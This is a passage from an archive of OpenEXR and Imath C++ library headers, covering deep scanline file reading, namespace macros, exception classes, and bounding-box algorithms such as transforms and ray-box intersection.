the number of bytes required to read the chunk // //---------------------------------------------- void rawPixelData (int firstScanLine, char * pixelData, Int64 &pixelDataSize); //------------------------------------------------- // firstScanLineInChunk() returns the row number of the first row that's stored in the // same chunk as scanline y. Depending on the compression mode, this may not be the same as y // // lastScanLineInChunk() returns the row number of the last row that's stored in the same // chunk as scanline y. Depending on the compression mode, this may not be the same as y. // The last chunk in the file may be smaller than all the others // //------------------------------------------------ int firstScanLineInChunk(int y) const; int lastScanLineInChunk (int y) const; //----------------------------------------------------------- // Read pixel sample counts into a slice in the frame buffer. // // readPixelSampleCounts(s1, s2) reads all the counts of // pixel samples with y coordinates in the interval // [min (s1, s2), max (s1, s2)] from the file, and stores // them in the slice naming "sample count". // // Both s1 and s2 must be within the interval // [header().dataWindow().min.y, header.dataWindow().max.y] // // readPixelSampleCounts(s) calls readPixelSampleCounts(s,s). // //----------------------------------------------------------- void readPixelSampleCounts (int scanline1, int scanline2); void readPixelSampleCounts (int scanline); //---------------------------------------------------------- // Read pixel sample counts into the provided frameBuffer // using a block read of data read by rawPixelData // for multi-scanline compression schemes, you must decode the entire block // so scanline1=firstScanLineInChunk(y) and scanline2=lastScanLineInChunk(y) // // This call does not block, and is thread safe for clients with an existing // threading model. The InputFile's frameBuffer is not used in this call. // // The fastest way to read an entire image is to enable threading in OpenEXR, use setFrameBuffer then // readPixelSampleCounts(header().dataWindow().min.y, header.dataWindow().max.y) // //---------------------------------------------------------- void readPixelSampleCounts (const char * rawdata , const DeepFrameBuffer & frameBuffer, int scanLine1 , int scanLine2) const; struct Data; private: Data * _data; DeepScanLineInputFile (InputPartData* part); void initialize(const Header& header); void compatibilityInitialize(OPENEXR_IMF_INTERNAL_NAMESPACE::IStream & is); void multiPartInitialize(InputPartData* part); friend class InputFile; friend class MultiPartInputFile; friend void DeepScanLineOutputFile::copyPixels(DeepScanLineInputFile &); }; OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImathNamespace.h 0000644 00000010611 15246445047 0011066 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMATHNAMESPACE_H #define INCLUDED_IMATHNAMESPACE_H // // The purpose of this file is to make it possible to specify an // IMATH_INTERNAL_NAMESPACE as a preprocessor definition and have all of the // Imath symbols defined within that namespace rather than the standard // Imath namespace. Those symbols are made available to client code through // the IMATH_NAMESPACE in addition to the IMATH_INTERNAL_NAMESPACE. // // To ensure source code compatibility, the IMATH_NAMESPACE defaults to Imath // and then "using namespace IMATH_INTERNAL_NAMESPACE;" brings all of the // declarations from the IMATH_INTERNAL_NAMESPACE into the IMATH_NAMESPACE. // This means that client code can continue to use syntax like Imath::V3f, // but at link time it will resolve to a mangled symbol based on the // IMATH_INTERNAL_NAMESPACE. // // As an example, if one needed to build against a newer version of Imath and // have it run alongside an older version in the same application, it is now // possible to use an internal namespace to prevent collisions between the // older versions of Imath symbols and the newer ones. To do this, the // following could be defined at build time: // // IMATH_INTERNAL_NAMESPACE = Imath_v2 // // This means that declarations inside Imath headers look like this (after // the preprocessor has done its work): // // namespace Imath_v2 { // ... // class declarations // ... // } // // namespace Imath { // using namespace Imath_v2; // } // // // Open Source version of this file pulls in the IlmBaseConfig.h file // for the configure time options. // #include "IlmBaseConfig.h" #ifndef IMATH_NAMESPACE #define IMATH_NAMESPACE Imath #endif #ifndef IMATH_INTERNAL_NAMESPACE #define IMATH_INTERNAL_NAMESPACE IMATH_NAMESPACE #endif // // We need to be sure that we import the internal namespace into the public one. // To do this, we use the small bit of code below which initially defines // IMATH_INTERNAL_NAMESPACE (so it can be referenced) and then defines // IMATH_NAMESPACE and pulls the internal symbols into the public // namespace. // namespace IMATH_INTERNAL_NAMESPACE {} namespace IMATH_NAMESPACE { using namespace IMATH_INTERNAL_NAMESPACE; } // // There are identical pairs of HEADER/SOURCE ENTER/EXIT macros so that // future extension to the namespace mechanism is possible without changing // project source code. // #define IMATH_INTERNAL_NAMESPACE_HEADER_ENTER namespace IMATH_INTERNAL_NAMESPACE { #define IMATH_INTERNAL_NAMESPACE_HEADER_EXIT } #define IMATH_INTERNAL_NAMESPACE_SOURCE_ENTER namespace IMATH_INTERNAL_NAMESPACE { #define IMATH_INTERNAL_NAMESPACE_SOURCE_EXIT } #endif /* INCLUDED_IMATHNAMESPACE_H */ OpenEXR/IexBaseExc.h 0000644 00000022077 15246445047 0010200 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002-2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IEXBASEEXC_H #define INCLUDED_IEXBASEEXC_H #include "IexNamespace.h" #include "IexExport.h" //---------------------------------------------------------- // // A general exception base class, and a few // useful exceptions derived from the base class. // //---------------------------------------------------------- #include <string> #include <exception> #include <sstream> IEX_INTERNAL_NAMESPACE_HEADER_ENTER //------------------------------- // Our most basic exception class //------------------------------- class BaseExc: public std::string, public std::exception { public: //---------------------------- // Constructors and destructor //---------------------------- IEX_EXPORT BaseExc (const char *s = 0) throw(); // std::string (s) IEX_EXPORT BaseExc (const std::string &s) throw(); // std::string (s) IEX_EXPORT BaseExc (std::stringstream &s) throw(); // std::string (s.str()) IEX_EXPORT BaseExc (const BaseExc &be) throw(); IEX_EXPORT virtual ~BaseExc () throw (); //-------------------------------------------- // what() method -- e.what() returns e.c_str() //-------------------------------------------- IEX_EXPORT virtual const char * what () const throw (); //-------------------------------------------------- // Convenient methods to change the exception's text //-------------------------------------------------- IEX_EXPORT BaseExc & assign (std::stringstream &s); // assign (s.str()) IEX_EXPORT BaseExc & operator = (std::stringstream &s); IEX_EXPORT BaseExc & append (std::stringstream &s); // append (s.str()) IEX_EXPORT BaseExc & operator += (std::stringstream &s); //-------------------------------------------------- // These methods from the base class get obscured by // the definitions above. //-------------------------------------------------- IEX_EXPORT BaseExc & assign (const char *s); IEX_EXPORT BaseExc & operator = (const char *s); IEX_EXPORT BaseExc & append (const char *s); IEX_EXPORT BaseExc & operator += (const char *s); //-------------------------------------------------- // Stack trace for the point at which the exception // was thrown. The stack trace will be an empty // string unless a working stack-tracing routine // has been installed (see below, setStackTracer()). //-------------------------------------------------- IEX_EXPORT const std::string & stackTrace () const; private: std::string _stackTrace; }; //----------------------------------------------------- // A macro to save typing when declararing an exception // class derived directly or indirectly from BaseExc: //----------------------------------------------------- #define DEFINE_EXC_EXP(exp, name, base) \ class exp name: public base \ { \ public: \ name() throw(): base (0) {} \ name (const char* text) throw(): base (text) {} \ name (const std::string &text) throw(): base (text) {} \ name (std::stringstream &text) throw(): base (text) {} \ ~name() throw() { } \ }; // For backward compatibility. #define DEFINE_EXC(name, base) DEFINE_EXC_EXP(, name, base) //-------------------------------------------------------- // Some exceptions which should be useful in most programs //-------------------------------------------------------- DEFINE_EXC_EXP (IEX_EXPORT, ArgExc, BaseExc) // Invalid arguments to a function call DEFINE_EXC_EXP (IEX_EXPORT, LogicExc, BaseExc) // General error in a program's logic, // for example, a function was called // in a context where the call does // not make sense. DEFINE_EXC_EXP (IEX_EXPORT, InputExc, BaseExc) // Invalid input data, e.g. from a file DEFINE_EXC_EXP (IEX_EXPORT, IoExc, BaseExc) // Input or output operation failed DEFINE_EXC_EXP (IEX_EXPORT, MathExc, BaseExc) // Arithmetic exception; more specific // exceptions derived from this class // are defined in ExcMath.h DEFINE_EXC_EXP (IEX_EXPORT, ErrnoExc, BaseExc) // Base class for exceptions corresponding // to errno values (see errno.h); more // specific exceptions derived from this // class are defined in ExcErrno.h DEFINE_EXC_EXP (IEX_EXPORT, NoImplExc, BaseExc) // Missing method exception e.g. from a // call to a method that is only partially // or not at all implemented. A reminder // to lazy software people to get back // to work. DEFINE_EXC_EXP (IEX_EXPORT, NullExc, BaseExc) // A pointer is inappropriately null. DEFINE_EXC_EXP (IEX_EXPORT, TypeExc, BaseExc) // An object is an inappropriate type, // i.e. a dynamnic_cast failed. //---------------------------------------------------------------------- // Stack-tracing support: // // setStackTracer(st) // // installs a stack-tracing routine, st, which will be called from // class BaseExc's constructor every time an exception derived from // BaseExc is thrown. The stack-tracing routine should return a // string that contains a printable representation of the program's // current call stack. This string will be stored in the BaseExc // object; the string is accesible via the BaseExc::stackTrace() // method. // // setStackTracer(0) // // removes the current stack tracing routine. When an exception // derived from BaseExc is thrown, the stack trace string stored // in the BaseExc object will be empty. // // stackTracer() // // returns a pointer to the current stack-tracing routine, or 0 // if there is no current stack stack-tracing routine. // //---------------------------------------------------------------------- typedef std::string (* StackTracer) (); IEX_EXPORT void setStackTracer (StackTracer stackTracer); IEX_EXPORT StackTracer stackTracer (); //----------------- // Inline functions //----------------- inline BaseExc & BaseExc::operator = (std::stringstream &s) { return assign (s); } inline BaseExc & BaseExc::operator += (std::stringstream &s) { return append (s); } inline BaseExc & BaseExc::assign (const char *s) { std::string::assign(s); return *this; } inline BaseExc & BaseExc::operator = (const char *s) { return assign(s); } inline BaseExc & BaseExc::append (const char *s) { std::string::append(s); return *this; } inline BaseExc & BaseExc::operator += (const char *s) { return append(s); } inline const std::string & BaseExc::stackTrace () const { return _stackTrace; } IEX_INTERNAL_NAMESPACE_HEADER_EXIT #endif // INCLUDED_IEXBASEEXC_H OpenEXR/ImathBoxAlgo.h 0000644 00000054546 15246445047 0010544 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002-2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMATHBOXALGO_H #define INCLUDED_IMATHBOXALGO_H //--------------------------------------------------------------------------- // // This file contains algorithms applied to or in conjunction // with bounding boxes (Imath::Box). These algorithms require // more headers to compile. The assumption made is that these // functions are called much less often than the basic box // functions or these functions require more support classes. // // Contains: // // T clip<T>(const T& in, const Box<T>& box) // // Vec3<T> closestPointOnBox(const Vec3<T>&, const Box<Vec3<T>>& ) // // Vec3<T> closestPointInBox(const Vec3<T>&, const Box<Vec3<T>>& ) // // Box< Vec3<S> > transform(const Box<Vec3<S>>&, const Matrix44<T>&) // Box< Vec3<S> > affineTransform(const Box<Vec3<S>>&, const Matrix44<T>&) // // void transform(const Box<Vec3<S>>&, const Matrix44<T>&, Box<V3ec3<S>>&) // void affineTransform(const Box<Vec3<S>>&, // const Matrix44<T>&, // Box<V3ec3<S>>&) // // bool findEntryAndExitPoints(const Line<T> &line, // const Box< Vec3<T> > &box, // Vec3<T> &enterPoint, // Vec3<T> &exitPoint) // // bool intersects(const Box<Vec3<T>> &box, // const Line3<T> &ray, // Vec3<T> intersectionPoint) // // bool intersects(const Box<Vec3<T>> &box, const Line3<T> &ray) // //--------------------------------------------------------------------------- #include "ImathBox.h" #include "ImathMatrix.h" #include "ImathLineAlgo.h" #include "ImathPlane.h" #include "ImathNamespace.h" IMATH_INTERNAL_NAMESPACE_HEADER_ENTER template <class T> inline T clip (const T &p, const Box<T> &box) { // // Clip the coordinates of a point, p, against a box. // The result, q, is the closest point to p that is inside the box. // T q; for (int i = 0; i < int (box.min.dimensions()); i++) { if (p[i] < box.min[i]) q[i] = box.min[i]; else if (p[i] > box.max[i]) q[i] = box.max[i]; else q[i] = p[i]; } return q; } template <class T> inline T closestPointInBox (const T &p, const Box<T> &box) { return clip (p, box); } template <class T> Vec3<T> closestPointOnBox (const Vec3<T> &p, const Box< Vec3<T> > &box) { // // Find the point, q, on the surface of // the box, that is closest to point p. // // If the box is empty, return p. // if (box.isEmpty()) return p; Vec3<T> q = closestPointInBox (p, box); if (q == p) { Vec3<T> d1 = p - box.min; Vec3<T> d2 = box.max - p; Vec3<T> d ((d1.x < d2.x)? d1.x: d2.x, (d1.y < d2.y)? d1.y: d2.y, (d1.z < d2.z)? d1.z: d2.z); if (d.x < d.y && d.x < d.z) { q.x = (d1.x < d2.x)? box.min.x: box.max.x; } else if (d.y < d.z) { q.y = (d1.y < d2.y)? box.min.y: box.max.y; } else { q.z = (d1.z < d2.z)? box.min.z: box.max.z; } } return q; } template <class S, class T> Box< Vec3<S> > transform (const Box< Vec3<S> > &box, const Matrix44<T> &m) { // // Transform a 3D box by a matrix, and compute a new box that // tightly encloses the transformed box. // // If m is an affine transform, then we use James Arvo's fast // method as described in "Graphics Gems", Academic Press, 1990, // pp. 548-550. // // // A transformed empty box is still empty, and a transformed infinite box // is still infinite // if (box.isEmpty() || box.isInfinite()) return box; // // If the last column of m is (0 0 0 1) then m is an affine // transform, and we use the fast Graphics Gems trick. // if (m[0][3] == 0 && m[1][3] == 0 && m[2][3] == 0 && m[3][3] == 1) { Box< Vec3<S> > newBox; for (int i = 0; i < 3; i++) { newBox.min[i] = newBox.max[i] = (S) m[3][i]; for (int j = 0; j < 3; j++) { S a, b; a = (S) m[j][i] * box.min[j]; b = (S) m[j][i] * box.max[j]; if (a < b) { newBox.min[i] += a; newBox.max[i] += b; } else { newBox.min[i] += b; newBox.max[i] += a; } } } return newBox; } // // M is a projection matrix. Do things the naive way: // Transform the eight corners of the box, and find an // axis-parallel box that encloses the transformed corners. // Vec3<S> points[8]; points[0][0] = points[1][0] = points[2][0] = points[3][0] = box.min[0]; points[4][0] = points[5][0] = points[6][0] = points[7][0] = box.max[0]; points[0][1] = points[1][1] = points[4][1] = points[5][1] = box.min[1]; points[2][1] = points[3][1] = points[6][1] = points[7][1] = box.max[1]; points[0][2] = points[2][2] = points[4][2] = points[6][2] = box.min[2]; points[1][2] = points[3][2] = points[5][2] = points[7][2] = box.max[2]; Box< Vec3<S> > newBox; for (int i = 0; i < 8; i++) newBox.extendBy (points[i] * m); return newBox; } template <class S, class T> void transform (const Box< Vec3<S> > &box, const Matrix44<T> &m, Box< Vec3<S> > &result) { // // Transform a 3D box by a matrix, and compute a new box that // tightly encloses the transformed box. // // If m is an affine transform, then we use James Arvo's fast // method as described in "Graphics Gems", Academic Press, 1990, // pp. 548-550. // // // A transformed empty box is still empty, and a transformed infinite // box is still infinite // if (box.isEmpty() || box.isInfinite()) { return; } // // If the last column of m is (0 0 0 1) then m is an affine // transform, and we use the fast Graphics Gems trick. // if (m[0][3] == 0 && m[1][3] == 0 && m[2][3] == 0 && m[3][3] == 1) { for (int i = 0; i < 3; i++) { result.min[i] = result.max[i] = (S) m[3][i]; for (int j = 0; j < 3; j++) { S a, b; a = (S) m[j][i] * box.min[j]; b = (S) m[j][i] * box.max[j]; if (a < b) { result.min[i] += a; result.max[i] += b; } else { result.min[i] += b; result.max[i] += a; } } } return; } // // M is a projection matrix. Do things the naive way: // Transform the eight corners of the box, and find an // axis-parallel box that encloses the transformed corners. // Vec3<S> points[8]; points[0][0] = points[1][0] = points[2][0] = points[3][0] = box.min[0]; points[4][0] = points[5][0] = points[6][0] = points[7][0] = box.max[0]; points[0][1] = points[1][1] = points[4][1] = points[5][1] = box.min[1]; points[2][1] = points[3][1] = points[6][1] = points[7][1] = box.max[1]; points[0][2] = points[2][2] = points[4][2] = points[6][2] = box.min[2]; points[1][2] = points[3][2] = points[5][2] = points[7][2] = box.max[2]; for (int i = 0; i < 8; i++) result.extendBy (points[i] * m); } template <class S, class T> Box< Vec3<S> > affineTransform (const Box< Vec3<S> > &box, const Matrix44<T> &m) { // // Transform a 3D box by a matrix whose rightmost column // is (0 0 0 1), and compute a new box that tightly encloses // the transformed box. // // As in the transform() function, above, we use James Arvo's // fast method. // if (box.isEmpty() || box.isInfinite()) { // // A transformed empty or infinite box is still empty or infinite // return box; } Box< Vec3<S> > newBox; for (int i = 0; i < 3; i++) { newBox.min[i] = newBox.max[i] = (S) m[3][i]; for (int j = 0; j < 3; j++) { S a, b; a = (S) m[j][i] * box.min[j]; b = (S) m[j][i] * box.max[j]; if (a < b) { newBox.min[i] += a; newBox.max[i] += b; } else { newBox.min[i] += b; newBox.max[i] += a; } } } return newBox; } template <class S, class T> void affineTransform (const Box< Vec3<S> > &box, const Matrix44<T> &m, Box<Vec3<S> > &result) { // // Transform a 3D box by a matrix whose rightmost column // is (0 0 0 1), and compute a new box that tightly encloses // the transformed box. // // As in the transform() function, above, we use James Arvo's // fast method. // if (box.isEmpty()) { // // A transformed empty box is still empty // result.makeEmpty(); return; } if (box.isInfinite()) { // // A transformed infinite box is still infinite // result.makeInfinite(); return; } for (int i = 0; i < 3; i++) { result.min[i] = result.max[i] = (S) m[3][i]; for (int j = 0; j < 3; j++) { S a, b; a = (S) m[j][i] * box.min[j]; b = (S) m[j][i] * box.max[j]; if (a < b) { result.min[i] += a; result.max[i] += b; } else { result.min[i] += b; result.max[i] += a; } } } } template <class T> bool findEntryAndExitPoints (const Line3<T> &r, const Box<Vec3<T> > &b, Vec3<T> &entry, Vec3<T> &exit) { // // Compute the points where a ray, r, enters and exits a box, b: // // findEntryAndExitPoints() returns // // - true if the ray starts inside the box or if the // ray starts outside and intersects the box // // - false otherwise (that is, if the ray does not // intersect the box) // // The entry and exit points are // // - points on two of the faces of the box when // findEntryAndExitPoints() returns true // (The entry end exit points may be on either // side of the ray's origin) // // - undefined when findEntryAndExitPoints() // returns false // if (b.isEmpty()) { // // No ray intersects an empty box // return false; } // // The following description assumes that the ray's origin is outside // the box, but the code below works even if the origin is inside the // box: // // Between one and three "frontfacing" sides of the box are oriented // towards the ray's origin, and between one and three "backfacing" // sides are oriented away from the ray's origin. // We intersect the ray with the planes that contain the sides of the // box, and compare the distances between the ray's origin and the // ray-plane intersections. The ray intersects the box if the most // distant frontfacing intersection is nearer than the nearest // backfacing intersection. If the ray does intersect the box, then // the most distant frontfacing ray-plane intersection is the entry // point and the nearest backfacing ray-plane intersection is the // exit point. // const T TMAX = limits<T>::max(); T tFrontMax = -TMAX; T tBackMin = TMAX; // // Minimum and maximum X sides. // if (r.dir.x >= 0) { T d1 = b.max.x - r.pos.x; T d2 = b.min.x - r.pos.x; if (r.dir.x > 1 || (abs (d1) < TMAX * r.dir.x && abs (d2) < TMAX * r.dir.x)) { T t1 = d1 / r.dir.x; T t2 = d2 / r.dir.x; if (tBackMin > t1) { tBackMin = t1; exit.x = b.max.x; exit.y = clamp (r.pos.y + t1 * r.dir.y, b.min.y, b.max.y); exit.z = clamp (r.pos.z + t1 * r.dir.z, b.min.z, b.max.z); } if (tFrontMax < t2) { tFrontMax = t2; entry.x = b.min.x; entry.y = clamp (r.pos.y + t2 * r.dir.y, b.min.y, b.max.y); entry.z = clamp (r.pos.z + t2 * r.dir.z, b.min.z, b.max.z); } } else if (r.pos.x < b.min.x || r.pos.x > b.max.x) { return false; } } else // r.dir.x < 0 { T d1 = b.min.x - r.pos.x; T d2 = b.max.x - r.pos.x; if (r.dir.x < -1 || (abs (d1) < -TMAX * r.dir.x && abs (d2) < -TMAX * r.dir.x)) { T t1 = d1 / r.dir.x; T t2 = d2 / r.dir.x; if (tBackMin > t1) { tBackMin = t1; exit.x = b.min.x; exit.y = clamp (r.pos.y + t1 * r.dir.y, b.min.y, b.max.y); exit.z = clamp (r.pos.z + t1 * r.dir.z, b.min.z, b.max.z); } if (tFrontMax < t2) { tFrontMax = t2; entry.x = b.max.x; entry.y = clamp (r.pos.y + t2 * r.dir.y, b.min.y, b.max.y); entry.z = clamp (r.pos.z + t2 * r.dir.z, b.min.z, b.max.z); } } else if (r.pos.x < b.min.x || r.pos.x > b.max.x) { return false; } } // // Minimum and maximum Y sides. // if (r.dir.y >= 0) { T d1 = b.max.y - r.pos.y; T d2 = b.min.y - r.pos.y; if (r.dir.y > 1 || (abs (d1) < TMAX * r.dir.y && abs (d2) < TMAX * r.dir.y)) { T t1 = d1 / r.dir.y; T t2 = d2 / r.dir.y; if (tBackMin > t1) { tBackMin = t1; exit.x = clamp (r.pos.x + t1 * r.dir.x, b.min.x, b.max.x); exit.y = b.max.y; exit.z = clamp (r.pos.z + t1 * r.dir.z, b.min.z, b.max.z); } if (tFrontMax < t2) { tFrontMax = t2; entry.x = clamp (r.pos.x + t2 * r.dir.x, b.min.x, b.max.x); entry.y = b.min.y; entry.z = clamp (r.pos.z + t2 * r.dir.z, b.min.z, b.max.z); } } else if (r.pos.y < b.min.y || r.pos.y > b.max.y) { return false; } } else // r.dir.y < 0 { T d1 = b.min.y - r.pos.y; T d2 = b.max.y - r.pos.y; if (r.dir.y < -1 || (abs (d1) < -TMAX * r.dir.y && abs (d2) < -TMAX * r.dir.y)) { T t1 = d1 / r.dir.y; T t2 = d2 / r.dir.y; if (tBackMin > t1) { tBackMin = t1; exit.x = clamp (r.pos.x + t1 * r.dir.x, b.min.x, b.max.x); exit.y = b.min.y; exit.z = clamp (r.pos.z + t1 * r.dir.z, b.min.z, b.max.z); } if (tFrontMax < t2) { tFrontMax = t2; entry.x = clamp (r.pos.x + t2 * r.dir.x, b.min.x, b.max.x); entry.y = b.max.y; entry.z = clamp (r.pos.z + t2 * r.dir.z, b.min.z, b.max.z); } } else if (r.pos.y < b.min.y || r.pos.y > b.max.y) { return false; } } // // Minimum and maximum Z sides. // if (r.dir.z >= 0) { T d1 = b.max.z - r.pos.z; T d2 = b.min.z - r.pos.z; if (r.dir.z > 1 || (abs (d1) < TMAX * r.dir.z && abs (d2) < TMAX * r.dir.z)) { T t1 = d1 / r.dir.z; T t2 = d2 / r.dir.z; if (tBackMin > t1) { tBackMin = t1; exit.x = clamp (r.pos.x + t1 * r.dir.x, b.min.x, b.max.x); exit.y = clamp (r.pos.y + t1 * r.dir.y, b.min.y, b.max.y); exit.z = b.max.z; } if (tFrontMax < t2) { tFrontMax = t2; entry.x = clamp (r.pos.x + t2 * r.dir.x, b.min.x, b.max.x); entry.y = clamp (r.pos.y + t2 * r.dir.y, b.min.y, b.max.y); entry.z = b.min.z; } } else if (r.pos.z < b.min.z || r.pos.z > b.max.z) { return false; } } else // r.dir.z < 0 { T d1 = b.min.z - r.pos.z; T d2 = b.max.z - r.pos.z; if (r.dir.z < -1 || (abs (d1) < -TMAX * r.dir.z && abs (d2) < -TMAX * r.dir.z)) { T t1 = d1 / r.dir.z; T t2 = d2 / r.dir.z; if (tBackMin > t1) { tBackMin = t1; exit.x = clamp (r.pos.x + t1 * r.dir.x, b.min.x, b.max.x); exit.y = clamp (r.pos.y + t1 * r.dir.y, b.min.y, b.max.y); exit.z = b.min.z; } if (tFrontMax < t2) { tFrontMax = t2; entry.x = clamp (r.pos.x + t2 * r.dir.x, b.min.x, b.max.x); entry.y = clamp (r.pos.y + t2 * r.dir.y, b.min.y, b.max.y); entry.z = b.max.z; } } else if (r.pos.z < b.min.z || r.pos.z > b.max.z) { return false; } } return tFrontMax <= tBackMin; } template<class T> bool intersects (const Box< Vec3<T> > &b, const Line3<T> &r, Vec3<T> &ip) { // // Intersect a ray, r, with a box, b, and compute the intersection // point, ip: // // intersect() returns // // - true if the ray starts inside the box or if the // ray starts outside and intersects the box // // - false if the ray starts outside the box and intersects it, // but the intersection is behind the ray's origin. // // - false if the ray starts outside and does not intersect it // // The intersection point is // // - the ray's origin if the ray starts inside the box // // - a point on one of the faces of the box if the ray // starts outside the box // // - undefined when intersect() returns false // if (b.isEmpty()) { // // No ray intersects an empty box // return false; } if (b.intersects (r.pos)) { // // The ray starts inside the box // ip = r.pos; return true; } // // The ray starts outside the box. Between one and three "frontfacing" // sides of the box are oriented towards the ray, and between one and // three "backfacing" sides are oriented away from the ray. // We intersect the ray with the planes that contain the sides of the // box, and compare the distances between ray's origin and the ray-plane // intersections. // The ray intersects the box if the most distant frontfacing intersection // is nearer than the nearest backfacing intersection. If the ray does // intersect the box, then the most distant frontfacing ray-plane // intersection is the ray-box intersection. // const T TMAX = limits<T>::max(); T tFrontMax = -1; T tBackMin = TMAX; // // Minimum and maximum X sides. // if (r.dir.x > 0) { if (r.pos.x > b.max.x) return false; T d = b.max.x - r.pos.x; if (r.dir.x > 1 || d < TMAX * r.dir.x) { T t = d / r.dir.x; if (tBackMin > t) tBackMin = t; } if (r.pos.x <= b.min.x) { T d = b.min.x - r.pos.x; T t = (r.dir.x > 1 || d < TMAX * r.dir.x)? d / r.dir.x: TMAX; if (tFrontMax < t) { tFrontMax = t; ip.x = b.min.x; ip.y = clamp (r.pos.y + t * r.dir.y, b.min.y, b.max.y); ip.z = clamp (r.pos.z + t * r.dir.z, b.min.z, b.max.z); } } } else if (r.dir.x < 0) { if (r.pos.x < b.min.x) return false; T d = b.min.x - r.pos.x; if (r.dir.x < -1 || d > TMAX * r.dir.x) { T t = d / r.dir.x; if (tBackMin > t) tBackMin = t; } if (r.pos.x >= b.max.x) { T d = b.max.x - r.pos.x; T t = (r.dir.x < -1 || d > TMAX * r.dir.x)? d / r.dir.x: TMAX; if (tFrontMax < t) { tFrontMax = t; ip.x = b.max.x; ip.y = clamp (r.pos.y + t * r.dir.y, b.min.y, b.max.y); ip.z = clamp (r.pos.z + t * r.dir.z, b.min.z, b.max.z); } } } else // r.dir.x == 0 { if (r.pos.x < b.min.x || r.pos.x > b.max.x) return false; } // // Minimum and maximum Y sides. // if (r.dir.y > 0) { if (r.pos.y > b.max.y) return false; T d = b.max.y - r.pos.y; if (r.dir.y > 1 || d < TMAX * r.dir.y) { T t = d / r.dir.y; if (tBackMin > t) tBackMin = t; } if (r.pos.y <= b.min.y) { T d = b.min.y - r.pos.y; T t = (r.dir.y > 1 || d < TMAX * r.dir.y)? d / r.dir.y: TMAX; 